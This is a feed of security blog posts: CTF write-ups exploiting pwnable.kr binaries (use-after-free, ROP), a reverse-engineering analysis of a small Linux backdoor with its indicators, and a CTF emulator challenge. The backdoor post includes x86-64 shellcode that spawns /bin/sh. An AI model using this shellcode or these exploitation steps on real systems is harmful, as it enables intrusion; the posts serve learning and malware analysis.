Quantcast
Channel: Aneesh Dogra’s Blog - Medium
Viewing all 51 articles
Browse latest View live

Pwnable: dragon using Radare2

$
0
0

Exploiting Integer overflow and UAF using Radare2

Dragon is a rookie challenge in pwnable.kr. Its a RPG game that allows you to fight against dragons. The game seems impossible to beat; at least in the first few tries.

I made a RPG game for my little brother.
But to trick him, I made it impossible to win.
I hope he doesn't get too angry with me :P!
Author : rookiss
Download : http://pwnable.kr/bin/dragon
Running at : nc pwnable.kr 9004

The first few runs we recognize that its impossible to beat:

Welcome to Dragon Hunter!
Choose Your Hero
[ 1 ] Priest
[ 2 ] Knight
1
Baby Dragon Has Appeared!
[ Baby Dragon ] 50 HP / 30 Damage / +5 Life Regeneration.
[ Priest ] 42 HP / 50 MP
[ 1 ] Holy Bolt [ Cost : 10 MP ]
Deals 20 Damage.
[ 2 ] Clarity [ Cost : 0 MP ]
Refreshes All Mana.
[ 3 ] HolyShield [ Cost: 25 MP ]
You Become Temporarily Invincible.
1
Holy Bolt Deals 20 Damage To The Dragon!
But The Dragon Deals 30 Damage To You!
And The Dragon Heals 5 HP!
[ Baby Dragon ] 35 HP / 30 Damage / +5 Life Regeneration.
[ Priest ] 12 HP / 40 MP
[ 1 ] Holy Bolt [ Cost : 10 MP ]
Deals 20 Damage.
[ 2 ] Clarity [ Cost : 0 MP ]
Refreshes All Mana.
[ 3 ] HolyShield [ Cost: 25 MP ]
You Become Temporarily Invincible.
3
HolyShield! You Are Temporarily Invincible...
But The Dragon Heals 5 HP!
[ Baby Dragon ] 40 HP / 30 Damage / +5 Life Regeneration.
[ Priest ] 12 HP / 15 MP
[ 1 ] Holy Bolt [ Cost : 10 MP ]
Deals 20 Damage.
[ 2 ] Clarity [ Cost : 0 MP ]
Refreshes All Mana.
[ 3 ] HolyShield [ Cost: 25 MP ]
You Become Temporarily Invincible.
1
Holy Bolt Deals 20 Damage To The Dragon!
But The Dragon Deals 30 Damage To You!
And The Dragon Heals 5 HP!
You Have Been Defeated!
Choose Your Hero
[ 1 ] Priest
[ 2 ] Knight
1
Mama Dragon Has Appeared!
[ Mama Dragon ] 80 HP / 10 Damage / +4 Life Regeneration.
[ Priest ] 42 HP / 50 MP
[ 1 ] Holy Bolt [ Cost : 10 MP ]
Deals 20 Damage.
[ 2 ] Clarity [ Cost : 0 MP ]
Refreshes All Mana.
[ 3 ] HolyShield [ Cost: 25 MP ]
You Become Temporarily Invincible.

Priest has 3 abilities and Knight has 2. Priest has more survivability. It has a “Sheild” ability; that renders him invincible for the next move. Dragons always attack and has regen.

Baby dragon starts at 50 HP and +5 regen with 30 damage. 
Mama dragon stars at 80HP and +4 regen with 10 damage.

We need to somehow deal damage and goal is to reduce the dragon’s HP to 0.

Lets check out the flow of the program using radare2.

root@vm1adogratest:~# r2 -d dragon 
Process with PID 19814 started…
PID = 19814
r_debug_select: 19814 19814
[0xf7701a20]> af
[0xf7701a20]> s main
[0x0804868d]> pdf
main function

Lets break at the start of sym.PlayGame

[0x0804888d]> db sym.PlayGame
[0x0804888d]> dc
Welcome to Dragon Hunter!
[0x080486f8]>

Lets get into Visual mode and checkout the disassembly.

Play Game

At the top we have a bunch of checks that checks if you chose a character between Priest and Knight. There is a secretLevel which you are redirected to if you press 3.

Lets check out what’s the secretLevel all about, maybe our flag is there:

Secret Level

It asks for a password, compares it with “Nice_Try_But_The_Dragons_Wont_Let_You”. The thing to note is that we are just reading 10 bytes from the input using scanf.

| 0x08048d95 8d45ea lea eax, [ebp-0x16]
| 0x08048d98 89442404 mov [esp+0x4], eax
| 0x08048d9c c704242f930. mov dword [esp], str.10s
| 0x08048da3 e8d8f7ffff call 0x108048580 ; (sym.imp.__isoc99_scanf)

There is no easy way to defeat such checks as scanf will stop reading after exactly 10 bytes or newline whichever occurs first. So we cant enter the correct password, such a cheeky author. Lets get back to playing the game and designing a strategy on how to defeat the dragon.

FightDragon

In the beginning we see 2 mallocs. Probably used to save the data-structure of these dragons. Mallocs are 0x10 in size. That suggests the program uses 16 bytes to save data of each dragon.

Initializing the data structures:

|       |   0x08048777    8b45f0       mov eax, [ebp-0x10]
| | 0x0804877a c7400400000. mov dword [eax+0x4], 0x0
| | 0x08048781 8b45f0 mov eax, [ebp-0x10]
| | 0x08048784 c6400832 mov byte [eax+0x8], 0x32
| | 0x08048788 8b45f0 mov eax, [ebp-0x10]
| | 0x0804878b c6400905 mov byte [eax+0x9], 0x5
| | 0x0804878f 8b45f0 mov eax, [ebp-0x10]
| | 0x08048792 c7400c1e000. mov dword [eax+0xc], 0x1e
| | 0x08048799 8b45f0 mov eax, [ebp-0x10]
| | 0x08048799 8b45f0 mov eax, [ebp-0x10]
| | 0x0804879c c700058d0408 mov dword [eax], sym.PrintMonsterInfo

ebp-0x10 and ebp-0x14 are locations of pointers to heap which contains the dragon’s data structure. 0x32 is 50 which is also the HP of baby dragon, stored at an offset of (+0x8). 0x5 is regen which is stored at an offset of (+0x9). Its obvious that only one byte is used to store the HP of the dragon. It stores the damage at 0xc. Also interestingly the data structure stores the function pointer to sym.PrintMonsterInfo at offset (+0x0). This suggests the program calls this function pointer to print the monster information. We can think about taking over this pointer to hijack the execution flow of this program.

As dragons have regen, its possible for us to make the dragon cross 125+ HP and overflow to a negative number which defeats the unsigned check at the end of the program.

Lets checkout sym.PriestAttack:

PriestAttack

Lets move to the interesting part at the end of this function.

PriestAttack (add regen and damage)

Here you can see it adds the regen of the dragon onto the HP variable at (+0x8) with movzx (sign extension). After the HP of the dragon is 0 or the Priest has hp of 0 it gets out of the function and frees the dragon pointers.

PriestAttack

After frees and on win condition, we would end up here:

epilogue

In the end after defeating the dragon we get a prompt to enter ourselves onto the leaderboard (supposedly).

The interesting thing to note is we recently freed the dragon objects. Through fastbin in libc, the recently freed memory is reused and returned again if the fastbin size matches. We malloc again for 0x16 bytes to store the name of the person, but it will reuse the pointer used to store dragon’s attributes.

This is Use After Free. In the end it tries to print the dragon’s details that we defeated:

| | | 0x080488b4 c7042410910. mov dword [esp], str.AndTheDragonYouHaveDefeatedWasCalled
| | | 0x080488bb e860fcffff call 0x108048520 ; (sym.imp.puts)
| | | sym.imp.puts()
| | | 0x080488c0 8b45f0 mov eax, [ebp-0x10]
| | | 0x080488c3 8b00 mov eax, [eax]
| | | 0x080488c5 8b55f0 mov edx, [ebp-0x10]
| | | 0x080488c8 891424 mov [esp], edx
| | | 0x080488cb ffd0 call eax

it calls the function pointer at +0x0 offset of the memory we now have control over. As we already have a win function inside the SecretLevel we can redirect the execution flow to that call and bake us a freshly made shell :)

Here’s our final exploit. Lets run it and get the flag. You’ll see the exploit interactively plays the game with the server and in the end defeats the dragon and triggers a UAF to hijack execution flow.

Exploit results

We have a shell, and can cat the file to get the flag. I think the challenge was very well created; having a secretLevel totally blew me off for a couple of hours when I was trying to defeat scanf’s format descriptors. In the end it was very elegant to have a integer overflow lead to a UAF and finally shell. Very satisfying.


Pwnable: dragon using Radare2 was originally published in Aneesh Dogra’s Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.


ROPing Horcruxes, pwnable.kr

$
0
0
Voldemort concealed his splitted soul inside 7 horcruxes.
Find all horcruxes, and ROP it!
author: jiwon choi
ssh horcruxes@pwnable.kr -p2222 (pw:guest)
Horcruxes

Horcruxes is a 32bit ELF binary that initializes 7 of Voldemort’s horcuxes in memory. There horcuxes has random constants that we need to leak out to allow us to beat Voldemort.

horcruxes@prowl:~$ ./horcruxes 
Voldemort concealed his splitted soul inside 7 horcruxes.
Find all horcruxes, and destroy it!
Select Menu:222
How many EXP did you earned? : 2222
You'd better get more experience to kill Voldemort

Lets see what exactly is EXP and how do we predict it to kill voldemort. This is the main subroutine:

gdb-peda$ disassemble main 
Dump of assembler code for function main:
0x0809ff24 <+0>: lea ecx,[esp+0x4]
0x0809ff28 <+4>: and esp,0xfffffff0
0x0809ff2b <+7>: push DWORD PTR [ecx-0x4]
0x0809ff2e <+10>: push ebp
0x0809ff2f <+11>: mov ebp,esp
0x0809ff31 <+13>: push ecx
0x0809ff32 <+14>: sub esp,0x14
0x0809ff35 <+17>: mov eax,ds:0x80a2064
0x0809ff3a <+22>: push 0x0
0x0809ff3c <+24>: push 0x2
0x0809ff3e <+26>: push 0x0
0x0809ff40 <+28>: push eax
0x0809ff41 <+29>: call 0x809fcf0 <setvbuf@plt>
0x0809ff46 <+34>: add esp,0x10
0x0809ff49 <+37>: mov eax,ds:0x80a2060
0x0809ff4e <+42>: push 0x0
0x0809ff50 <+44>: push 0x2
0x0809ff52 <+46>: push 0x0
0x0809ff54 <+48>: push eax
0x0809ff55 <+49>: call 0x809fcf0 <setvbuf@plt>
0x0809ff5a <+54>: add esp,0x10
0x0809ff5d <+57>: sub esp,0xc
0x0809ff60 <+60>: push 0x3c
0x0809ff62 <+62>: call 0x809fc90 <alarm@plt>
0x0809ff67 <+67>: add esp,0x10
0x0809ff6a <+70>: call 0x80a0324 <hint>
0x0809ff6f <+75>: call 0x80a0177 <init_ABCDEFG>
0x0809ff74 <+80>: sub esp,0xc
0x0809ff77 <+83>: push 0x0
0x0809ff79 <+85>: call 0x809fc20 <seccomp_init@plt>
0x0809ff7e <+90>: add esp,0x10
0x0809ff81 <+93>: mov DWORD PTR [ebp-0xc],eax
0x0809ff84 <+96>: push 0x0
0x0809ff86 <+98>: push 0xad
0x0809ff8b <+103>: push 0x7fff0000
0x0809ff90 <+108>: push DWORD PTR [ebp-0xc]
0x0809ff93 <+111>: call 0x809fc60 <seccomp_rule_add@plt>
0x0809ff98 <+116>: add esp,0x10
0x0809ff9b <+119>: push 0x0
0x0809ff9d <+121>: push 0x5
0x0809ff9f <+123>: push 0x7fff0000
0x0809ffa4 <+128>: push DWORD PTR [ebp-0xc]
0x0809ffa7 <+131>: call 0x809fc60 <seccomp_rule_add@plt>
0x0809ffac <+136>: add esp,0x10
0x0809ffaf <+139>: push 0x0
0x0809ffb1 <+141>: push 0x3
0x0809ffb3 <+143>: push 0x7fff0000
0x0809ffb8 <+148>: push DWORD PTR [ebp-0xc]
0x0809ffbb <+151>: call 0x809fc60 <seccomp_rule_add@plt>
0x0809ffc0 <+156>: add esp,0x10
0x0809ffc3 <+159>: push 0x0
0x0809ffc5 <+161>: push 0x4
0x0809ffc7 <+163>: push 0x7fff0000
0x0809ffcc <+168>: push DWORD PTR [ebp-0xc]
0x0809ffcf <+171>: call 0x809fc60 <seccomp_rule_add@plt>
0x0809ffd4 <+176>: add esp,0x10
0x0809ffd7 <+179>: push 0x0
0x0809ffd9 <+181>: push 0xfc
0x0809ffde <+186>: push 0x7fff0000
0x0809ffe3 <+191>: push DWORD PTR [ebp-0xc]
0x0809ffe6 <+194>: call 0x809fc60 <seccomp_rule_add@plt>
0x0809ffeb <+199>: add esp,0x10
0x0809ffee <+202>: sub esp,0xc
0x0809fff1 <+205>: push DWORD PTR [ebp-0xc]
0x0809fff4 <+208>: call 0x809fc80 <seccomp_load@plt>
0x0809fff9 <+213>: add esp,0x10
0x0809fffc <+216>: call 0x80a0009 <ropme>
0x080a0001 <+221>: mov ecx,DWORD PTR [ebp-0x4]
0x080a0004 <+224>: leave
0x080a0005 <+225>: lea esp,[ecx-0x4]
0x080a0008 <+228>: ret
End of assembler dump.
gdb-peda$
[main_tmux<g-off.tower-research.com[adogra]

init_ABCDEFG initializes our 7 horcruxes in memory.

gdb-peda$ disassemble init_ABCDEFG
Dump of assembler code for function init_ABCDEFG:
0x080a0177 <+0>: push ebp
0x080a0178 <+1>: mov ebp,esp
0x080a017a <+3>: sub esp,0x18
0x080a017d <+6>: sub esp,0x8
0x080a0180 <+9>: push 0x0
0x080a0182 <+11>: push 0x80a0577
0x080a0187 <+16>: call 0x809fcc0 <open@plt>
0x080a018c <+21>: add esp,0x10
0x080a018f <+24>: mov DWORD PTR [ebp-0xc],eax
0x080a0192 <+27>: sub esp,0x4
0x080a0195 <+30>: push 0x4
0x080a0197 <+32>: lea eax,[ebp-0x10]
0x080a019a <+35>: push eax
0x080a019b <+36>: push DWORD PTR [ebp-0xc]
0x080a019e <+39>: call 0x809fc30 <read@plt>
0x080a01a3 <+44>: add esp,0x10
0x080a01a6 <+47>: cmp eax,0x4
0x080a01a9 <+50>: je 0x80a01c5 <init_ABCDEFG+78>
0x080a01ab <+52>: sub esp,0xc
0x080a01ae <+55>: push 0x80a0584
0x080a01b3 <+60>: call 0x809fca0 <puts@plt>
0x080a01b8 <+65>: add esp,0x10
0x080a01bb <+68>: sub esp,0xc
0x080a01be <+71>: push 0x0
0x080a01c0 <+73>: call 0x809fcb0 <exit@plt>
.
.
   0x080a01df <+104>:   add    esp,0x10
0x080a01e2 <+107>: call 0x809fd00 <rand@plt>
0x080a01e7 <+112>: imul edx,eax,0xdeadbeef
0x080a01ed <+118>: cmp edx,0xcafebabe
0x080a01f3 <+124>: setae al
0x080a01f6 <+127>: movzx eax,al
0x080a01f9 <+130>: imul eax,eax,0xcafebabe
0x080a01ff <+136>: sub edx,eax
0x080a0201 <+138>: mov eax,edx
0x080a0203 <+140>: mov ds:0x80a2088,eax
0x080a0208 <+145>: call 0x809fd00 <rand@plt>
0x080a020d <+150>: imul edx,eax,0xdeadbeef
0x080a0213 <+156>: cmp edx,0xcafebabe
0x080a0219 <+162>: setae al
0x080a021c <+165>: movzx eax,al
0x080a021f <+168>: imul eax,eax,0xcafebabe
0x080a0225 <+174>: sub edx,eax
0x080a0227 <+176>: mov eax,edx
0x080a0229 <+178>: mov ds:0x80a2070,eax
0x080a022e <+183>: call 0x809fd00 <rand@plt>

0x080a0233 <+188>: imul edx,eax,0xdeadbeef
0x080a0239 <+194>: cmp edx,0xcafebabe
0x080a023f <+200>: setae al
0x080a0242 <+203>: movzx eax,al
0x080a0245 <+206>: imul eax,eax,0xcafebab
   .
   0x080a02c1 <+330>:   mov    ds:0x80a2074,eax
0x080a02c6 <+335>: call 0x809fd00 <rand@plt>
0x080a02cb <+340>: imul edx,eax,0xdeadbeef
0x080a02d1 <+346>: cmp edx,0xcafebabe
0x080a02d7 <+352>: setae al
0x080a02da <+355>: movzx eax,al
0x080a02dd <+358>: imul eax,eax,0xcafebabe
0x080a02e3 <+364>: sub edx,eax
0x080a02e5 <+366>: mov eax,edx
0x080a02e7 <+368>: mov ds:0x80a207c,eax
0x080a02ec <+373>: mov edx,DWORD PTR ds:0x80a2088
0x080a02f2 <+379>: mov eax,ds:0x80a2070
0x080a02f7 <+384>: add edx,eax
0x080a02f9 <+386>: mov eax,ds:0x80a2084
0x080a02fe <+391>: add edx,eax
0x080a0300 <+393>: mov eax,ds:0x80a206c
0x080a0305 <+398>: add edx,eax
0x080a0307 <+400>: mov eax,ds:0x80a2080
0x080a030c <+405>: add edx,eax
0x080a030e <+407>: mov eax,ds:0x80a2074
0x080a0313 <+412>: add edx,eax
0x080a0315 <+414>: mov eax,ds:0x80a207c
0x080a031a <+419>: add eax,edx
0x080a031c <+421>: mov ds:0x80a2078,eax

0x080a0321 <+426>: nop
0x080a0322 <+427>: leave
0x080a0323 <+428>: ret

The init function reads some bytes from /dev/urandom and then performs arithmetic operations and sets constants in memory. In the end it sums these constants and saves the sum of these at ds:0x80a2078.

After initializing and setting seccomp profiles. ropme is called next.

gdb-peda$ disassemble ropme
Dump of assembler code for function ropme:
0x080a0009 <+0>: push ebp
0x080a000a <+1>: mov ebp,esp
0x080a000c <+3>: sub esp,0x78
0x080a000f <+6>: sub esp,0xc
0x080a0012 <+9>: push 0x80a050c
0x080a0017 <+14>: call 0x809fc40 <printf@plt>
0x080a001c <+19>: add esp,0x10
0x080a001f <+22>: sub esp,0x8
0x080a0022 <+25>: lea eax,[ebp-0x10]
0x080a0025 <+28>: push eax
0x080a0026 <+29>: push 0x80a0519
0x080a002b <+34>: call 0x809fd10 <__isoc99_scanf@plt>
0x080a0030 <+39>: add esp,0x10
0x080a0033 <+42>: call 0x809fc70 <getchar@plt>
0x080a0038 <+47>: mov edx,DWORD PTR [ebp-0x10]
0x080a003b <+50>: mov eax,ds:0x80a2088
0x080a0040 <+55>: cmp edx,eax
0x080a0042 <+57>: jne 0x80a004e <ropme+69>
0x080a0044 <+59>: call 0x809fe4b <A>
0x080a0049 <+64>: jmp 0x80a0170 <ropme+359>
0x080a004e <+69>: mov edx,DWORD PTR [ebp-0x10]
0x080a0051 <+72>: mov eax,ds:0x80a2070
0x080a0056 <+77>: cmp edx,eax
0x080a0058 <+79>: jne 0x80a0064 <ropme+91>
0x080a005a <+81>: call 0x809fe6a <B>
0x080a005f <+86>: jmp 0x80a0170 <ropme+359>
0x080a0064 <+91>: mov edx,DWORD PTR [ebp-0x10]
0x080a0067 <+94>: mov eax,ds:0x80a2084
0x080a006c <+99>: cmp edx,eax
0x080a006e <+101>: jne 0x80a007a <ropme+113>
0x080a0070 <+103>: call 0x809fe89 <C>
.
.
.
0x080a00da <+209>: call 0x809fc40 <printf@plt>
0x080a00df <+214>: add esp,0x10
0x080a00e2 <+217>: sub esp,0xc
0x080a00e5 <+220>: lea eax,[ebp-0x74]
0x080a00e8 <+223>: push eax
0x080a00e9 <+224>: call 0x809fc50 <gets@plt>
0x080a00ee <+229>: add esp,0x10
0x080a00f1 <+232>: sub esp,0xc
0x080a00f4 <+235>: lea eax,[ebp-0x74]
0x080a00f7 <+238>: push eax
0x080a00f8 <+239>: call 0x809fd20 <atoi@plt>
0x080a00fd <+244>: add esp,0x10
0x080a0100 <+247>: mov edx,eax
0x080a0102 <+249>: mov eax,ds:0x80a2078
0x080a0107 <+254>: cmp edx,eax
0x080a0109 <+256>: jne 0x80a0160 <ropme+343>
0x080a010b <+258>: sub esp,0x8
0x080a010e <+261>: push 0x0
0x080a0110 <+263>: push 0x80a053c
0x080a0115 <+268>: call 0x809fcc0 <open@plt>
0x080a011a <+273>: add esp,0x10
0x080a011d <+276>: mov DWORD PTR [ebp-0xc],eax
0x080a0120 <+279>: sub esp,0x4
0x080a0123 <+282>: push 0x64
0x080a0125 <+284>: lea eax,[ebp-0x74]
0x080a0128 <+287>: push eax
0x080a0129 <+288>: push DWORD PTR [ebp-0xc]
0x080a012c <+291>: call 0x809fc30 <read@plt>
0x080a0131 <+296>: add esp,0x10
0x080a0134 <+299>: mov BYTE PTR [ebp+eax*1-0x74],0x0
0x080a0139 <+304>: sub esp,0xc
0x080a013c <+307>: lea eax,[ebp-0x74]
0x080a013f <+310>: push eax
0x080a0140 <+311>: call 0x809fca0 <puts@plt>
0x080a0145 <+316>: add esp,0x10
0x080a0148 <+319>: sub esp,0xc
0x080a014b <+322>: push DWORD PTR [ebp-0xc]
0x080a014e <+325>: call 0x809fd30 <close@plt>
0x080a0153 <+330>: add esp,0x10
0x080a0156 <+333>: sub esp,0xc
0x080a0159 <+336>: push 0x0
0x080a015b <+338>: call 0x809fcb0 <exit@plt>
0x080a0160 <+343>: sub esp,0xc
0x080a0163 <+346>: push 0x80a0544
0x080a0168 <+351>: call 0x809fca0 <puts@plt>

0x080a016d <+356>: add esp,0x10
0x080a0170 <+359>: mov eax,0x0
0x080a0175 <+364>: leave
0x080a0176 <+365>: ret

The integer we provide in the menu prompt is compared with constants we saw earlier. If we provide the correct integer it calls the function (A, B, C, …) that contains the horcrux.

At the end of the function there is a gets (vulnerable!!) call that asks us how much EXP we got. The EXP is then compared with the constant 0x80a2078 which is just the sum of our constants. If the sum we provide is accurate the program opens the flag for us.

Lets check out disassembly of these functions (A, B, C, …):

gdb-peda$ disassemble A
Dump of assembler code for function A:
0x0809fe4b <+0>: push ebp
0x0809fe4c <+1>: mov ebp,esp
0x0809fe4e <+3>: sub esp,0x8
0x0809fe51 <+6>: mov eax,ds:0x80a2088
0x0809fe56 <+11>: sub esp,0x8
0x0809fe59 <+14>: push eax
0x0809fe5a <+15>: push 0x80a03d0
0x0809fe5f <+20>: call 0x809fc40 <printf@plt>
0x0809fe64 <+25>: add esp,0x10
0x0809fe67 <+28>: nop
0x0809fe68 <+29>: leave
0x0809fe69 <+30>: ret
End of assembler dump.
gdb-peda$ x/1s 0x80a03d0
0x80a03d0: "You found \"Tom Riddle's Diary\" (EXP +%d)\n"
gdb-peda$

Alright so it spits out the constant and prints out that we found a horcrux. The task is now clear, we need to exploit the overflow at the end of the function. Control the execution flow and print out all the horcruxes one by one.

At first, I thought why not just jump to the part of the code that spits out the flag, we won’t need to leak any constants. Interestingly the author probably thought about this already, if you check the addresses of ropme. The addresses start with 0x080a, 0xa is a newline character and gets will stop receiving our input after that.

We can easily figure out the addresses to each of the horcrux routines. Just by looking at the disassembly. All we need to do is control the EIP after the gets call to pass flow to A, B, C … G and then to ropme again and finally enter the sum of the leaked constants to get the flag.

There we have our final exploit. Lets see it in action:

Horcruxes

There we go! I am no longer feeding on toddler’s bottle anymore :D

pwnable.kr, toddler’s bottle

ROPing Horcruxes, pwnable.kr was originally published in Aneesh Dogra’s Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Reversing a real-world 249 bytes backdoor!

$
0
0

A wild backdoor has appeared. Press 1 to ptrace :D

While going though some vulnerable servers I was able to find a backdoor present that is only 249 bytes long. The backdoor’s md5sum is 93363683dcf1ccc4db296fa5fde69b71 and is undetected on virustotal and other threat intelligence websites. Reversing this binary gave us insights on how malware authors are using techniques to make their backdoors undetectable and hard to analyze or even reverse engineer. Here’s the sample.

lionaneesh@d4rkc0de:~$ file pay.bin 
pay.bin: ELF 64-bit LSB executable, x86–64, version 1 (SYSV), statically linked, corrupted section header size
lionaneesh@d4rkc0de:~$
Backdoor

The binary has stripped all debugging symbols and has a corrupted header. GDB is not able to find the entry point to this binary.

lionaneesh@d4rkc0de:~$ gdb pay.bin 
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from pay.bin...(no debugging symbols found)...done.
gdb-peda$ info file
Symbols from "/home/lionaneesh/pay.bin".
gdb-peda$ info functions
All defined functions:
gdb-peda$ break *_start
No symbol table is loaded. Use the "file" command.
gdb-peda$

No straight forward way to actually go and disassemble the binary. Radare2 to the rescue, it manages to find the entry point for us.

lionaneesh@d4rkc0de:~/backdoors$ r2 pay.bin 
[0x00400078]> ii
[Imports]
0 imports
[0x00400078]> ie
[Entrypoints]
addr=0x00400078 off=0x00000078 baddr=0x00400000
1 entrypoints

The binary start executing at 0x00400078. The binary is so small in size, which suggests its been handwritten in assemble. So such compiler artifacts or anything of that sorts exists.

Using strace we can easily find out what system calls its executing:
lionaneesh@d4rkc0de:~/backdoors$ strace ./pay.bin 
execve(“./pay.bin”, [“./pay.bin”], [/* 39 vars */]) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC|0x1000, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0) = 0x7fee0b81d000
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(1337), sin_addr=inet_addr(“104.248.237.194”)}, 16) = -1 ECONNREFUSED (Connection refused)
nanosleep({5, 0},

Apparently it tries to make a socket and connect to the IP address: 104.248.237.194 on port number 1337. This ip address is owned by Digital Ocean. To debug further lets setup an IPtables rule, so that all the traffic going to that IP is redirected to localhost.

sudo iptables -t nat -A OUTPUT -p all -d 104.248.237.194 -j DNAT --to-destination 127.0.0.1

Setup a listener on port 1337:

nc -lvp 31337

Lets try to run the binary and see what it does:

lionaneesh@d4rkc0de:~/dirsearch/DirBuster$ nc -lvp 1337
Listening on [0.0.0.0] (family 0, port 1337)
Connection from [d4rkc0de.com] port 1337 [tcp/*] accepted (family 2, sport 44170)
AAAA

We get a connection, lets send a couple of random bytes.

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x5
RBX: 0x0
RCX: 0x4000f2 --> 0xe6ffef78c08548
RDX: 0x1000
RSI: 0x7ffff7ffa000 --> 0xa41414141 ('AAAA\n')
RDI: 0x3
RBP: 0x0
RSP: 0x7fffffffe110 --> 0x1
RIP: 0x7ffff7ffa000 --> 0xa41414141 ('AAAA\n')
R8 : 0x0
R9 : 0xa ('\n')
R10: 0x22 ('"')
R11: 0x246
R12: 0x0
R13: 0x0
R14: 0x0
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
=> 0x7ffff7ffa000: rex.B
0x7ffff7ffa001: rex.B
0x7ffff7ffa002: rex.B
0x7ffff7ffa003: or al,BYTE PTR [r8]
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe110 --> 0x1
0008| 0x7fffffffe118 --> 0x7fffffffe3d6 ("/home/lionaneesh/pay.bin")
0016| 0x7fffffffe120 --> 0x0
0024| 0x7fffffffe128 --> 0x7fffffffe3ef ("XDG_SESSION_ID=144197")
0032| 0x7fffffffe130 --> 0x7fffffffe405 ("rvm_bin_path=/home/lionaneesh/.rvm/bin")
0040| 0x7fffffffe138 --> 0x7fffffffe42c ("GEM_HOME=/home/lionaneesh/.rvm/gems/ruby-2.4.2")
0048| 0x7fffffffe140 --> 0x7fffffffe45b ("TERM=screen")
0056| 0x7fffffffe148 --> 0x7fffffffe467 ("SHELL=/bin/bash")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00007ffff7ffa000 in ?? ()
gdb-peda$

We see that the input we provided is written to the mmapped segment and execution is passed on to it. Currently we get a segmentation fault as AAAA is not a valid opcode. Lets try to give it a known shellcode for x64:

lionaneesh@d4rkc0de:~/dirsearch/DirBuster$ python -c “print ‘\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05’” | nc -lvp 1337
Listening on [0.0.0.0] (family 0, port 1337)

The program jumps to our input at 0x4000f7:

[ — — — — — — — — — — — — — — — — — registers — — — — — — — — — — — — — — — — — -]
RAX: 0x1c
RBX: 0x0
RCX: 0x4000f2 → 0xe6ffef78c08548
RDX: 0x1000
RSI: 0x7ffff7ffa000 → 0x91969dd1bb48c031
RDI: 0x3
RBP: 0x0
RSP: 0x7fffffffe110 → 0x1
RIP: 0x4000f7 → 0xe6ff
R8 : 0x0
R9 : 0xa (‘\n’)
R10: 0x22 (‘“‘)
R11: 0x246
R12: 0x0
R13: 0x0
R14: 0x0
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[ — — — — — — — — — — — — — — — — — — -code — — — — — — — — — — — — — — — — — — -]
0x4000f0: syscall
0x4000f2: test rax,rax
0x4000f5: js 0x4000e6
=> 0x4000f7: jmp rsi
| 0x4000f9: add BYTE PTR [rax],al
| 0x4000fb: add BYTE PTR [rax],al
| 0x4000fd: add BYTE PTR [rax],al
| 0x4000ff: add BYTE PTR [rax],al
|-> 0x7ffff7ffa000: xor eax,eax
0x7ffff7ffa002: movabs rbx,0xff978cd091969dd1
0x7ffff7ffa00c: neg rbx
0x7ffff7ffa00f: push rbx
JUMP is taken
[ — — — — — — — — — — — — — — — — — — stack — — — — — — — — — — — — — — — — — — -]
0000| 0x7fffffffe110 → 0x1
0008| 0x7fffffffe118 → 0x7fffffffe3d6 (“/home/lionaneesh/pay.bin”)
0016| 0x7fffffffe120 → 0x0
0024| 0x7fffffffe128 → 0x7fffffffe3ef (“XDG_SESSION_ID=144197”)
0032| 0x7fffffffe130 → 0x7fffffffe405 (“rvm_bin_path=/home/lionaneesh/.rvm/bin”)
0040| 0x7fffffffe138 → 0x7fffffffe42c (“GEM_HOME=/home/lionaneesh/.rvm/gems/ruby-2.4.2”)
0048| 0x7fffffffe140 → 0x7fffffffe45b (“TERM=screen”)
0056| 0x7fffffffe148 → 0x7fffffffe467 (“SHELL=/bin/bash”)
[ — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — ]
Legend: code, data, rodata, value
Breakpoint 3, 0x00000000004000f7 in ?? ()
gdb-peda$

We see our payload is there, let continue:

gdb-peda$ c
Continuing.
process 14586 is executing new program: /bin/dash

Epic! This 249 byte backdoor can run any shellcode we give it. The attackers can deploy it on an offshore IP address and execute arbitrary instructions on the victim’s box.

IOCs:

  • 104.248.237.194
  • 1337
  • 93363683dcf1ccc4db296fa5fde69b71 (md5)
  • 0d4570ae80f9fca2d4b68a7f4b88dd0eb2df3573 (sha-1)

Reversing a real-world 249 bytes backdoor! was originally published in Aneesh Dogra’s Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Reversing an 8bit RISC microprocessor

$
0
0
Hey! We have found this old cartridge under a desk in the library of Lapland. It appears to be for a system called “Emu 2.0”, made back in 1978. These systems don’t get produced anymore, and we can’t seem to find anyone that owns one.

Thankfully we have the documentation for it, so maybe we can use it to write an emulator and see what this ROM does?

Files: folder
Author: Milkdrop

The “Emu 2.0” is an 8bit RISC microprocessor. This is a CTF problem from the recent X-Mas CTF 2019. It has two registers, the first being A (Accumulator), an 8bit register used for arithmetic and logic calculations. The second register is called PC (Program Counter), which is a 12bit register used to point the address in RAM of the current instruction that the microprocessor needs to execute.

We are given a custom ROM and some documentation about the architecture and instruction set.

Instruction set
Instruction Set continued

The ROM we are given uses the opcodes/hex codes described above. We need to write an interpreter for these opcodes and emulate the ROM, to get the flag.

